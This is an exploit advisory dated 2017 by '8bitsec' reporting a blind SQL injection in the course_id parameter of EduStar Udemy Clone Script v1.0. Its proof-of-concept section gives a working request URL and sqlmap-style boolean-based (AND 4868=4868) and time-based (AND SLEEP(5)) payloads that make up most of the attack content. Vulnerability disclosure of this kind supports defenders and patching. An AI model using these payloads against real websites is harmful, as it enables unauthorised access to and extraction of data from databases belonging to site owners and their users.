# Exploit Title: EduStar Udemy Clone Script v1.0 - SQL Injection
# Date: 2017-09-11
# Exploit Author: 8bitsec
# Vendor Homepage: https://www.abservetech.com/
# Software Link: https://www.abservetech.com/edustar-udemy-clone/
# Version: 1.0
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec
 
Release Date:
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2017-09-11
 
Product & Service Introduction:
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EduStar Udemy Clone Script
 
Technical Details & Description:
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Blind SQL injection on [course_id] parameter.
 
Proof of Concept (PoC):
=======================
 
http://localhost/[path]/courses/details?course_id=105 and 1=1
 
Parameter: course_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: course_id=105 AND 4868=4868
 
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: course_id=105 AND SLEEP(5)
 
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8bitsec - [https://twitter.com/_8bitsec]